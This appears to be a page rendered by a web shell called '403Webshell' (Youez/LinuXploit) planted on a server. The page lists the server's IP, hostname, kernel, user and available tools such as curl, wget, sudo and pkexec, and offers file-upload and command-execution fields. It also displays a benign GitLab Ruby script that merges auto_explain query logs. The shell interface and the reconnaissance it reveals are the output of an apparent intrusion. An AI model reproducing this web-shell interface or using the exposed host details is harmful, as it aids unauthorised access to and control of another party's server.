403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/scripts/merge-auto-explain-logs
#!/usr/bin/env ruby
# frozen_string_literal: true

require 'json'
require 'zlib'

# Load query analyzers
require_relative File.expand_path('database/query_analyzers.rb', __dir__)

source = ENV['CI_MERGE_REQUEST_SOURCE_BRANCH_SHA']
target = ENV['CI_MERGE_REQUEST_TARGET_BRANCH_SHA']
log_path = ENV['RSPEC_AUTO_EXPLAIN_LOG_PATH']
logs_path = File.dirname(log_path)

exit(0) unless Dir.exist?(logs_path)

fingerprints = Set.new
jobs = Set.new
query_analyzers = Database::QueryAnalyzers.new

JOB_NAME = %r{^(.*)\.\d+\.[^.]+\.ndjson\.gz$}

Zlib::GzipWriter.open(log_path) do |log|
  Dir[File.join(logs_path, '*.gz')].reject { |p| p == log_path }.each do |file|
    job_name = File.basename(file)[JOB_NAME, 1]
    Zlib::GzipReader.open(file) do |gz|
      gz.each_line do |line|
        query = JSON.parse(line)
        fingerprint = query['fingerprint']

        next unless fingerprints.add?(fingerprint)

        query_analyzers.analyze(query)

        jobs << job_name
        query['job_name'] = job_name
        log.puts(JSON.generate(query))
      end
    end

    File.delete(file)
  end
end

query_analyzers.save!

warn("auto_explain log contains #{fingerprints.size} entries from: #{jobs.to_a.sort.join(', ')}")
warn("auto_explain comparison of #{target} to #{source}") if source && target

Youez - 2016 - github.com/yon3zu
LinuXploit